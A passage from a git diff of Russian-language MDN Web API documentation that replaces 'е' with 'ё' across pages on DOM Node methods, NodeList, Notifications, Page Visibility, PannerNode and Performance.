URI связанное с ним в данном узле, если найден (и <code>null</code> если нет). Устанавливает <code>null</code> для префикса который возвращает пространство имён по умолчанию.</p> -<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен (т.е., с уставленным тем же <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p> +<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имён (т.е., с уставленным тем же <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/node/lookupprefix/index.html b/files/ru/web/api/node/lookupprefix/index.html index 10a92d81af..7a763c983c 100644 --- a/files/ru/web/api/node/lookupprefix/index.html +++ b/files/ru/web/api/node/lookupprefix/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Node/lookupPrefix --- <div>{{APIRef("DOM")}}</div> -<p>Метод <code><strong>Node.lookupPrefix()</strong></code> возвращает {{domxref("DOMString")}} содержащий префикс для данного пространства имен URI, если он присутствует, и <code>null</code> если нет. Когда возможно присутствие нескольких префиксов, результат зависит от реализации.</p> +<p>Метод <code><strong>Node.lookupPrefix()</strong></code> возвращает {{domxref("DOMString")}} содержащий префикс для данного пространства имён URI, если он присутствует, и <code>null</code> если нет. Когда возможно присутствие нескольких префиксов, результат зависит от реализации.</p> -<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен, которое установлено с тем же свойством {{domxref("Node.prefix")}}.</p> +<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имён, которое установлено с тем же свойством {{domxref("Node.prefix")}}.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/node/namespaceuri/index.html b/files/ru/web/api/node/namespaceuri/index.html index 56534ae20a..479df26e24 100644 --- a/files/ru/web/api/node/namespaceuri/index.html +++ b/files/ru/web/api/node/namespaceuri/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Node/namespaceURI <div>{{APIRef("DOM")}}</div> </div> -<p>Свойство <code><strong>Node.namespaceURI</strong></code> только для чтения, возвращает пространство имен URI узла или <code>null,</code> если узел не находится в пространстве имен (только для чтения). Хотя узел документа, возвращает пространство имен XML для текущего документа.</p> +<p>Свойство <code><strong>Node.namespaceURI</strong></code> только для чтения, возвращает пространство имён URI узла или <code>null,</code> если узел не находится в пространстве имён (только для чтения). Хотя узел документа, возвращает пространство имён XML для текущего документа.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -15,7 +15,7 @@ translation_of: Web/API/Node/namespaceURI <h2 id="Example" name="Example">Пример</h2> -<p>В этом сниппете, узел рассматривается для его <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> и его <code>namespaceURI</code>. Если <code>namespaceURI</code> возвращает XUL пространство имен и <code>localName</code> возвращая "browser", затем узел XUL согласует <code><browser/></code>.</p> +<p>В этом сниппете, узел рассматривается для его <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> и его <code>namespaceURI</code>. Если <code>namespaceURI</code> возвращает XUL пространство имён и <code>localName</code> возвращая "browser", затем узел XUL согласует <code><browser/></code>.</p> <pre class="brush:js">if (node.localName == "browser" && node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { @@ -24,17 +24,17 @@ translation_of: Web/API/Node/namespaceURI <h2 id="Notes" name="Notes">Примечание</h2> -<p>Это не вычисленное значение, которое является результатом поиска имен на основе проверки декларации в области пространства имен. Пространство имен URI узла заморожена в момент создания узла.</p> +<p>Это не вычисленное значение, которое является результатом поиска имён на основе проверки декларации в области пространства имён. Пространство имён URI узла заморожена в момент создания узла.</p> -<p>В Firefox 3.5 и выше, пространство имен URI для HTML элементов в HTML документах это <code>null</code>. В более поздних версиях, в соответствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> как в XHTML. {{gecko_minversion_inline("1.9.2")}}</p> +<p>В Firefox 3.5 и выше, пространство имён URI для HTML элементов в HTML документах это <code>null</code>. В более поздних версиях, в соответствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> как в XHTML. {{gecko_minversion_inline("1.9.2")}}</p> <p>Для узлов любого <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node/NodeType/Node.nodeType">nodeType</a> кроме <code>ELEMENT_NODE</code> и <code>ATTRIBUTE_NODE</code> значение <code>namespaceURI</code> всегда <code>null</code>.</p> <p>Вы можете создать элемент с конкретным <code>namespaceURI</code> используйте метод DOM Level 2 <a href="/en-US/docs/DOM/document.createElementNS" title="DOM/document.createElementNS">document.createElementNS</a>.</p> -<p>Через <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство имен в XML</a> спецификации, атрибуты не наследуют пространство имен для элемента к которому он прикреплен. Если у атрибута не задано явно пространство имен, он не имеет пространства имен.</p> +<p>Через <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство имён в XML</a> спецификации, атрибуты не наследуют пространство имён для элемента к которому он прикреплён. Если у атрибута не задано явно пространство имён, он не имеет пространства имен.</p> -<p>DOM не обрабатывает или не вынуждает проверять пространство имен как таковое. Приложения выше DOM, делают необходимые проверки. <span id="result_box" lang="ru"><span class="hps">Отметим также,</span> <span class="hps">что</span> <span class="hps">префикс пространства имен</span><span>,</span> <span class="hps">когда</span> <span class="hps">он связан с</span> <span class="hps">конкретным узлом</span><span>,</span> <span class="hps">не может быть изменен</span><span>.</span></span></p> +<p>DOM не обрабатывает или не вынуждает проверять пространство имён как таковое. Приложения выше DOM, делают необходимые проверки. <span id="result_box" lang="ru"><span class="hps">Отметим также,</span> <span class="hps">что</span> <span class="hps">префикс пространства имён</span><span>,</span> <span class="hps">когда</span> <span class="hps">он связан с</span> <span class="hps">конкретным узлом</span><span>,</span> <span class="hps">не может быть изменён</span><span>.</span></span></p> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/api/node/nextsibling/index.html b/files/ru/web/api/node/nextsibling/index.html index cc874be72e..9ecb139758 100644 --- a/files/ru/web/api/node/nextsibling/index.html +++ b/files/ru/web/api/node/nextsibling/index.html @@ -65,7 +65,7 @@ while (el) { **************************************************/ </pre> -<p>В приведенном выше примере вы можете видеть, что <code>#text</code> узлы вставляются в DOM, где между тегами встречаются пробелы (т.е. после закрывающего тега элемента и до открывающего тега рядом). Не создается пробелов между элементами, вставленных с помощью <code>document.write</code></p> +<p>В приведённом выше примере вы можете видеть, что <code>#text</code> узлы вставляются в DOM, где между тегами встречаются пробелы (т.е. после закрывающего тега элемента и до открывающего тега рядом). Не создаётся пробелов между элементами, вставленных с помощью <code>document.write</code></p> <p>Возможность включения текстовых узлов в DOM должна быть разрешена, когда DOM обходится с помощью <code>nextSibling</code>. Смотрите раздел "Заметки".</p> diff --git a/files/ru/web/api/node/nodevalue/index.html b/files/ru/web/api/node/nodevalue/index.html index aba6e43755..dccb8f4c24 100644 --- a/files/ru/web/api/node/nodevalue/index.html +++ b/files/ru/web/api/node/nodevalue/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/Node/nodeValue <h2 id="Notes" name="Notes">Примечания</h2> -<p>Для самого документа, <code>nodeValue</code> возвращает <code>null</code>. Для текста, комментария и CDATA узлов, <code>nodeValue</code> возвращает содержимое узла. Для узла атрибута, вернется значение атрибута.</p> +<p>Для самого документа, <code>nodeValue</code> возвращает <code>null</code>. Для текста, комментария и CDATA узлов, <code>nodeValue</code> возвращает содержимое узла. Для узла атрибута, вернётся значение атрибута.</p> <p>Следующая таблица, показывает возвращаемые значения различных элементов:</p> diff --git a/files/ru/web/api/node/parentnode/index.html b/files/ru/web/api/node/parentnode/index.html index 139880247f..a845f3d4b0 100644 --- a/files/ru/web/api/node/parentnode/index.html +++ b/files/ru/web/api/node/parentnode/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Node/parentNode <h2 id="Summary" name="Summary">Аннотация</h2> -<p>Возвращает родителя определенного элемента DOM дерева.</p> +<p>Возвращает родителя определённого элемента DOM дерева.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -31,7 +31,7 @@ translation_of: Web/API/Node/parentNode <p><code>Document</code> и <code>DocumentFragment</code> <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">nodes</a> <em> могут не иметь родителя</em>, в этом случае <code>parentNode</code> всегда возвращает <code>null</code>.</p> -<p>Так же возвращает <code>null</code> если элемент только был создан и еще не добавлен в DOM дерево.</p> +<p>Так же возвращает <code>null</code> если элемент только был создан и ещё не добавлен в DOM дерево.</p> <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> diff --git a/files/ru/web/api/node/prefix/index.html b/files/ru/web/api/node/prefix/index.html index 404f245f65..fe218e0507 100644 --- a/files/ru/web/api/node/prefix/index.html +++ b/files/ru/web/api/node/prefix/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Node/prefix <div>{{APIRef("DOM")}}</div> </div> -<p>Свойство <code><strong>Node.prefix</strong></code> только для чтения, возвращающее префикс пространства имен указанного узла или <code>null,</code> если не указан префикс. Это свойство только для чтения.</p> +<p>Свойство <code><strong>Node.prefix</strong></code> только для чтения, возвращающее префикс пространства имён указанного узла или <code>null,</code> если не указан префикс. Это свойство только для чтения.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html index 738dadbaa6..0666aa815c 100644 --- a/files/ru/web/api/node/removechild/index.html +++ b/files/ru/web/api/node/removechild/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/Node/removeChild <h2 id="Summary" name="Summary">Аннотация</h2> -<p>Удаляет дочерний элемент из DOM. Возвращает удаленный элемент.</p> +<p>Удаляет дочерний элемент из DOM. Возвращает удалённый элемент.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -21,14 +21,14 @@ translation_of: Web/API/Node/removeChild </pre> <ul> - <li><code>child</code> дочерний элемент который будет удален из DOM.</li> + <li><code>child</code> дочерний элемент который будет удалён из DOM.</li> <li><code>element</code> родительский элемент удаляемого <code>child</code>.</li> <li><code>oldChild</code> ссылка на удаляемый дочерний элемент. <code>oldChild</code> === <code>child</code>.</li> </ul> -<p>Удаленный дочерний элемент остается в памяти, но больше не является частью DOM. Вы можете повторно использовать удаленный элемент с помощью ссылки на объект - <code>oldChild</code>.</p> +<p>Удалённый дочерний элемент остаётся в памяти, но больше не является частью DOM. Вы можете повторно использовать удалённый элемент с помощью ссылки на объект - <code>oldChild</code>.</p> -<p>Если <code>child</code> не является дочерним элементом <code>element</code>, тогда метод генерирует исключение. Также это происходит если <code>child</code> является дочерним элементом <code>element</code> во время вызова метода, но был удален во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).</p> +<p>Если <code>child</code> не является дочерним элементом <code>element</code>, тогда метод генерирует исключение. Также это происходит если <code>child</code> является дочерним элементом <code>element</code> во время вызова метода, но был удалён во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).</p> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/node/replacechild/index.html b/files/ru/web/api/node/replacechild/index.html index c1959cc322..ae9a375735 100644 --- a/files/ru/web/api/node/replacechild/index.html +++ b/files/ru/web/api/node/replacechild/index.html @@ -14,34 +14,34 @@ original_slug: Web/API/Node.replaceChild <div> {{ApiRef}}</div> <h2 id="Summary" name="Summary">Аннотация</h2> -<p>Заменяет дочерний элемент на выбранный. Возвращает замененный элемент.</p> +<p>Заменяет дочерний элемент на выбранный. Возвращает заменённый элемент.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> <pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>); </pre> <ul> - <li><code>newChild</code> элемент на который будет заменен <code>oldChild</code>. В случает если он уже есть в DOM, то сначала он будет удален.</li> + <li><code>newChild</code> элемент на который будет заменён <code>oldChild</code>. В случает если он уже есть в DOM, то сначала он будет удален.</li> <li><code>oldChild</code> элемент который будет заменен.</li> - <li><code>replacedNode</code> замененный элемент. Тоже самое что и <code>oldChild</code>.</li> + <li><code>replacedNode</code> заменённый элемент. Тоже самое что и <code>oldChild</code>.</li> </ul> <h2 id="Example" name="Example">Пример</h2> <pre class="brush:js">// <div> // <span id="childSpan">foo bar</span> // </div> -// Создаем новый пустой элемент +// Создаём новый пустой элемент // without an ID, any attributes, or any content var sp1 = document.createElement("span"); // Присваиваем ему id 'newSpan' sp1.setAttribute("id", "newSpan"); -// Создаем строку. +// Создаём строку. var sp1_content = document.createTextNode("new replacement span element."); // Добавляем контент в созданный нами узел sp1.appendChild(sp1_content); -// создаем ссылку на существующий элемент который будем заменять +// создаём ссылку на существующий элемент который будем заменять var sp2 = document.getElementById("childSpan"); var parentDiv = sp2.parentNode; diff --git a/files/ru/web/api/node/textcontent/index.html b/files/ru/web/api/node/textcontent/index.html index 479fae01e3..7ee831edaf 100644 --- a/files/ru/web/api/node/textcontent/index.html +++ b/files/ru/web/api/node/textcontent/index.html @@ -33,7 +33,7 @@ element.textContent = "Это просто текст"; <h3 id="Отличие_от_innerText">Отличие от <code>innerText</code></h3> -<p><code>element.innerText</code> был введен Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:</p> +<p><code>element.innerText</code> был введён Internet Explorer-ом. Работает по тому же принципу за небольшими исключениями:</p> <ul> <li><code>textContent</code> получает содержимое <em>всех</em> элементов, включая {{HTMLElement("script")}} и {{HTMLElement("style")}}, тогда как <code>innerText</code> этого не делает.</li> @@ -50,7 +50,7 @@ element.textContent = "Это просто текст"; <pre class="brush: js">// Дан следующий фрагмент: // <div id="block">Это — <span>просто</span> текст</div> -// Достаем текстовое содержимое: +// Достаём текстовое содержимое: var text = document.getElementById("block").textContent; // В переменной |text| находится: "Это — просто текст". diff --git a/files/ru/web/api/nodelist/index.html b/files/ru/web/api/nodelist/index.html index 1e3bf20fff..d102e8c70e 100644 --- a/files/ru/web/api/nodelist/index.html +++ b/files/ru/web/api/nodelist/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/NodeList <div class="note"> <p>Несмотря на то, что <code>NodeList</code> не является массивом ( <code>Array</code> ), его вполне возможно перебрать при помощи метода forEach(). NodeList также можно конвертировать в <code>Array</code> при помощи {{jsxref("Array.from()")}}</p> -<p>Однако некоторые старые браузеры на данный момент все еще не поддерживают <code>NodeList.forEach()</code> или <code>Array.from()</code>. Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).</p> +<p>Однако некоторые старые браузеры на данный момент все ещё не поддерживают <code>NodeList.forEach()</code> или <code>Array.from()</code>. Данные ограничения можно обойти, используя {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} ( больше информации на этой странице ).</p> </div> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/notification/index.html b/files/ru/web/api/notification/index.html index 0ba6b0d4d1..2f520242d4 100644 --- a/files/ru/web/api/notification/index.html +++ b/files/ru/web/api/notification/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Notification <dl> <dt>{{domxref("Notification.Notification", "Notification()")}}</dt> - <dd>Создает новый экземпляр объекта <code>Notification</code>.</dd> + <dd>Создаёт новый экземпляр объекта <code>Notification</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -79,7 +79,7 @@ translation_of: Web/API/Notification <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt> <dd>Заголовок уведомления, указывается в опциях как параметр конструктора.</dd> <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt> - <dd>Задает шаблон вибрации для устройств с вибро.</dd> + <dd>Задаёт шаблон вибрации для устройств с вибро.</dd> </dl> <h4 id="Не_поддерживаемые_свойства">Не поддерживаемые свойства</h4> @@ -106,7 +106,7 @@ translation_of: Web/API/Notification <h4 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h4> -<p>Следующие обработчики событий все еще поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.</p> +<p>Следующие обработчики событий все ещё поддерживаются, как указано в разделе {{anch("browser compatibility")}} ниже, но более не входят в актуальную спецификацию. Небезосновательно можно предположить, что они устарели и могут перестать работать в будущих версиях браузеров.</p> <dl> <dt>{{domxref("Notification.onclose")}}</dt> @@ -153,21 +153,21 @@ translation_of: Web/API/Notification // Проверка разрешения на отправку уведомлений else if (Notification.permission === "granted") { - // Если разрешено, то создаем уведомление + // Если разрешено, то создаём уведомление var notification = new Notification("Hi there!"); } // В противном случае, запрашиваем разрешение else if (Notification.permission !== 'denied') { Notification.requestPermission(function (permission) { - // Если пользователь разрешил, то создаем уведомление + // Если пользователь разрешил, то создаём уведомление if (permission === "granted") { var notification = new Notification("Hi there!"); } }); } - // В конечном счете, если пользователь отказался от получения + // В конечном счёте, если пользователь отказался от получения // уведомлений, то стоит уважать его выбор и не беспокоить его // по этому поводу. }</pre> @@ -180,7 +180,7 @@ translation_of: Web/API/Notification console.log(result); });</code></pre> -<p>Затем мы запускаем простую функцию <code>spawnNotification()</code>, когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создает необходимый объект параметров <code>options</code> и запускает уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}.</p> +<p>Затем мы запускаем простую функцию <code>spawnNotification()</code>, когда мы хотим вывести уведомление, передающую аргументы для указания тела, иконки и заголовка, которые нам нужны, а затем она создаёт необходимый объект параметров <code>options</code> и запускает уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}.</p> <pre class="brush: js"><code>function spawnNotification(body, icon, title) { var options = { diff --git a/files/ru/web/api/notifications_api/index.html b/files/ru/web/api/notifications_api/index.html index 5641358a8a..8fdc6b6de0 100644 --- a/files/ru/web/api/notifications_api/index.html +++ b/files/ru/web/api/notifications_api/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Notifications_API --- <p>{{DefaultAPISidebar("Web Notifications")}}</p> -<p class="summary">Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешел к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.</p> +<p class="summary">Notifications API позволяют web-страницам контролировать отображение системных уведомлений для конечного пользователя — они находятся вне контекста окна браузера верхнего уровня, поэтому могут отображаться даже если пользователь сменил вкладку или перешёл к другому приложению. API были разработаны таким образом, чтобы поддерживать совместимость с существующими системами уведомлений на различных платформах.</p> <h2 id="Концепция_и_использование">Концепция и использование</h2> @@ -19,7 +19,7 @@ translation_of: Web/API/Notifications_API <p><strong>Заметка</strong>: Для Firefox 44, разрешения для Notifications и <a href="/en-US/docs/Web/API/Push_API">Push</a> объединяются. Если было установлено разрешение для уведомлений, push так же будут разрешены .</p> </div> -<p>Затем создается новое уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.</p> +<p>Затем создаётся новое уведомление с помощью конструктора {{domxref("Notification.Notification","Notification()")}}. В функцию должен быть передан аргумент заголовка и, по желанию, объект настроек, чтобы определить опции, такие как направление и тело текста, иконка, звук уведомления и т.д.</p> <p>{{AvailableInWorkers}}</p> diff --git a/files/ru/web/api/page_visibility_api/index.html b/files/ru/web/api/page_visibility_api/index.html index 7cfb82fdba..3ac365ba5d 100644 --- a/files/ru/web/api/page_visibility_api/index.html +++ b/files/ru/web/api/page_visibility_api/index.html @@ -27,9 +27,9 @@ original_slug: Web/API/Видимость_страницы_API <p>Давайте рассмотрим несколько способов использования Page Visibility API.</p> <ul> - <li>На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешел на другую вкладку</li> + <li>На сайте есть слайдер изображений с автопрокруткой, которую можно поставить на паузу, когда пользователь перешёл на другую вкладку</li> <li>Приложение выводит информацию в реальном времени, которую можно не обновлять, пока страница не видна, тем самым уменьшить количество запросов на сервер</li> - <li>Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчет количества просмотров</li> + <li>Странице нужно понять, когда она должна быть отрисована, так что можно вести точный подсчёт количества просмотров</li> <li>Сайту нужно выключить звук, когда устройство в режиме ожидания (пользователь нажал кнопку включения, чтобы погасить экран)</li> </ul> diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html index c8076f49df..a10a3c1eb4 100644 --- a/files/ru/web/api/pannernode/index.html +++ b/files/ru/web/api/pannernode/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/PannerNode <div><code>PannerNode</code> всегда имеет только один вход и один выход: вход может быть <em>моно</em> или <em>стерео</em>, но выход всегда <em>стерео</em> (2 канала); нельзя получить эффекты панорамирования при отсутствии, как минимум двух аудиоканалов!</div> </div> -<p><img alt="PannerNode задает положение в пространстве, скорость распространения и направленность данного сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p> +<p><img alt="PannerNode задаёт положение в пространстве, скорость распространения и направленность данного сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p> <table class="properties"> <tbody> @@ -28,7 +28,7 @@ translation_of: Web/API/PannerNode <td><code>1</code></td> </tr> <tr> - <th scope="row">Режим подсчета каналов</th> + <th scope="row">Режим подсчёта каналов</th> <td><code>"clamped-max"</code></td> </tr> <tr> @@ -50,7 +50,7 @@ translation_of: Web/API/PannerNode <div class="note_trans"> <div> <dl> - <dd>Создает новый экземпляр <code>PannerNode.</code></dd> + <dd>Создаёт новый экземпляр <code>PannerNode.</code></dd> </dl> </div> </div> @@ -73,7 +73,7 @@ translation_of: Web/API/PannerNode <dt>{{domxref("PannerNode.coneOuterAngle")}}</dt> <dd>Это значение типа <code> double</code>, представляющее угол конуса (в градусах), вне которого громкость звука будет уменьшена на постоянное значение, определяемое атрибутом <code>coneOuterGain.</code></dd> <dt>{{domxref("PannerNode.coneOuterGain")}}</dt> - <dd>Это значение типа <code>double</code>, представляющее величину снижения уровня громкости вне конуса, определенного атрибутом <code>coneOuterAngle</code>. Значение по умолчанию равно <code>0</code>, то есть, вне конуса звук не будет слышен.</dd> + <dd>Это значение типа <code>double</code>, представляющее величину снижения уровня громкости вне конуса, определённого атрибутом <code>coneOuterAngle</code>. Значение по умолчанию равно <code>0</code>, то есть, вне конуса звук не будет слышен.</dd> <dt>{{domxref("PannerNode.distanceModel")}}</dt> <dd>Перечислимое значение, определяющее, какой алгоритм будет использован для уменьшения громкости источника звука при удалении его от слушателя.</dd> <dt>{{domxref("PannerNode.maxDistance")}}</dt> @@ -83,15 +83,15 @@ translation_of: Web/API/PannerNode <dt>{{domxref("PannerNode.orientationY")}}</dt> <dd>Представляет вертикальное положение вектора источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.orientationZ")}}</dt> - <dd>Представляет продольную (вперед - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> + <dd>Представляет продольную (вперёд - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.panningModel")}}</dt> - <dd>Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трехмерном пространстве.</dd> + <dd>Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трёхмерном пространстве.</dd> <dt>{{domxref("PannerNode.positionX")}}</dt> <dd>Представляет горизонтальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.positionY")}}</dt> <dd>Представляет вертикальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.positionZ")}}</dt> - <dd>Представляет позицию источника звука вдоль оси Z (вперед и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> + <dd>Представляет позицию источника звука вдоль оси Z (вперёд и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd> <dt>{{domxref("PannerNode.refDistance")}}</dt> <dd>Значение типа <code>double</code>, представляющее справочное (опорное) расстояние для уменьшения громкости при удалении источника звука от слушателя.</dd> <dt>{{domxref("PannerNode.rolloffFactor")}}</dt> @@ -119,7 +119,7 @@ translation_of: Web/API/PannerNode <dl> <dt>{{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}</dt> <dd>Это устаревший элемент API и его работа в дальнейшем не гарантируется.<br> - Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключенного потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была четко оговорена и имела ряд проблем, поэтому была удалена из спецификации.</dd> + Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключённого потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была чётко оговорена и имела ряд проблем, поэтому была удалена из спецификации.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html index 709a620f85..40017ad44f 100644 --- a/files/ru/web/api/parentnode/prepend/index.html +++ b/files/ru/web/api/parentnode/prepend/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/ParentNode/prepend <dl> <dt><code>nodesToPrepend</code></dt> - <dd>Один или болле узлов, которые вставляются перед первым дочерним узлом в <code>ParentNode</code>. Каждый узел может быть определен либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.</dd> + <dd>Один или болле узлов, которые вставляются перед первым дочерним узлом в <code>ParentNode</code>. Каждый узел может быть определён либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html index b8c2735644..bc721672b6 100644 --- a/files/ru/web/api/performance/index.html +++ b/files/ru/web/api/performance/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Performance <p>Объект этого типа может быть получен в результате вызова атрибута {{domxref("Window.performance")}}, доступного только для чтения.</p> <div class="note"> -<p><strong><em>Замечание</em>: </strong>Этот интерфейс и его составляющие доступны в <a href="/ru/docs/Web/API/Web_Workers_API">фоновых потоках выполнения</a>, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса еще не документированы (подробнее см. разделы документации <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> и <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то ее нельзя будет увидеть в другом фоновом потоке и наоборот.</p> +<p><strong><em>Замечание</em>: </strong>Этот интерфейс и его составляющие доступны в <a href="/ru/docs/Web/API/Web_Workers_API">фоновых потоках выполнения</a>, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса ещё не документированы (подробнее см. разделы документации <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> и <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то её нельзя будет 